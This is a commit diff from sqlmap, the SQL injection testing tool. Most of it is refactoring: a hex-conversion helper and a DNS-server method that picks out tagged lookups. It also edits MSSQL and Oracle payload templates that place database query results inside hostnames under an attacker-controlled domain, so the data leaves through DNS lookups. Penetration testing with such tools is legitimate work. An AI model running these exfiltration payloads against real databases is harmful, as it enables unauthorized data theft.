minor update regarding DNS data retrieval task

This commit is contained in:
Miroslav Stampar 2012-04-02 12:22:40 +00:00
parent f7a664b120
commit abffc39929
5 changed files with 35 additions and 11 deletions

View File

@ -244,8 +244,28 @@ class Agent:
return payload
def getComment(self, request):
"""
Returns comment form for the given request
"""
return request.comment if "comment" in request else ""
def hexConvertField(self, field):
"""
Returns hex converted field string
"""
rootQuery = queries[Backend.getIdentifiedDbms()]
hexField = field
if 'hex' in rootQuery:
hexField = rootQuery.hex.query % field
else:
warnMsg = "switch '--hex' is currently not supported on DBMS '%s'. " % Backend.getIdentifiedDbms()
singleTimeWarnMessage(warnMsg)
return hexField
def nullAndCastField(self, field):
"""
Take in input a field string and return its processed nulled and
@ -288,14 +308,7 @@ class Agent:
nulledCastedField = rootQuery.isnull.query % nulledCastedField
if conf.hexConvert:
if 'hex' in rootQuery:
nulledCastedField = rootQuery.hex.query % nulledCastedField
else:
warnMsg = "switch '--hex' is currently not supported on DBMS '%s'. " % Backend.getIdentifiedDbms()
warnMsg += "Going to switch it off"
singleTimeWarnMessage(warnMsg)
conf.hexConvert = False
nulledCastedField = hexConvertField(nulledCastedField)
return nulledCastedField

View File

@ -1608,7 +1608,7 @@ def getSPLSnippet(dbms, name, **variables):
checkFile(filename)
retVal = readCachedFileContent(filename)
retVal = re.sub(r"#.+", "", retVal)
retVal = re.sub(r"#.+", "", retVal).strip()
for _ in variables.keys():
retVal = re.sub(r"%%%s%%" % _, variables[_], retVal)

View File

@ -8,6 +8,7 @@ See the file 'doc/COPYING' for copying permission
"""
import os
import re
import socket
import threading
import time
@ -63,6 +64,16 @@ class DNSServer:
retVal = self._requests.pop(0)
return retVal
def pop(self, prefix, suffix):
retVal = None
with self._lock:
for _ in self._requests:
if re.search("%s\..+\.%s" % (prefix, suffix), _, re.I):
retVal = _
self._requests.remove(_)
break
return retVal
def run(self):
def _():
try:

View File

@ -1,3 +1,3 @@
DECLARE @host varchar(1024);
SELECT @host = '%PREFIX%' + (%QUERY%) + '%SUFFIX%' + '.%DOMAIN%';
SELECT @host = '%PREFIX%.' + (%QUERY%) + '.%SUFFIX%' + '.%DOMAIN%';
EXEC('xp_fileexist "\' + @host + 'c$boot.ini"');

View File

@ -1 +1 @@
SELECT UTL_INADDR.GET_HOST_ADDRESS('%PREFIX%'||(%QUERY%)||'%SUFFIX%'||'.%DOMAIN%') FROM DUAL
SELECT UTL_INADDR.GET_HOST_ADDRESS('%PREFIX%.'||(%QUERY%)||'.%SUFFIX%'||'.%DOMAIN%') FROM DUAL